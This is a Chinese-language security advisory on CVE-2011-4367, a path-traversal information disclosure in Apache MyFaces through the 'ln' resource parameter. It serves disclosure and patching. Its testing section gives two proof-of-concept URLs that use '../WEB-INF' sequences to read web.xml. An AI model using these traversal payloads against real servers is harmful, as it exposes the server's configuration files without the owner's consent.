Apache MyFaces “ln”参数信息泄露漏洞


发布日期:2012-02-09
更新日期:2012-02-10

受影响系统:
Apache Group MyFaces
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 51939
CVE ID: CVE-2011-4367

Apache MyFaces是JavaServer Faces标准的开源实现。

Apache MyFaces JSF允许在javax.faces.resource 'ln'参数中存在相对路径或写URL,因此资源名中包括“..”序列,在实现上存在远程信息泄露,远程攻击者可利用此漏洞获取敏感信息。

<*来源:Paul Nicolucci
 
  链接:http://seclists.org/fulldisclosure/2012/Feb/150
*>

测试方法:
--------------------------------------------------------------------------------
警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://www.example.com/faces/javax.faces.resource/web.xml?ln=../WEB-INF
http://www.example.com/faces/javax.faces.resource/web.xml?ln=..\\WEB-INF

建议:
--------------------------------------------------------------------------------
厂商补丁:

Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://httpd.apache.org/

相关内容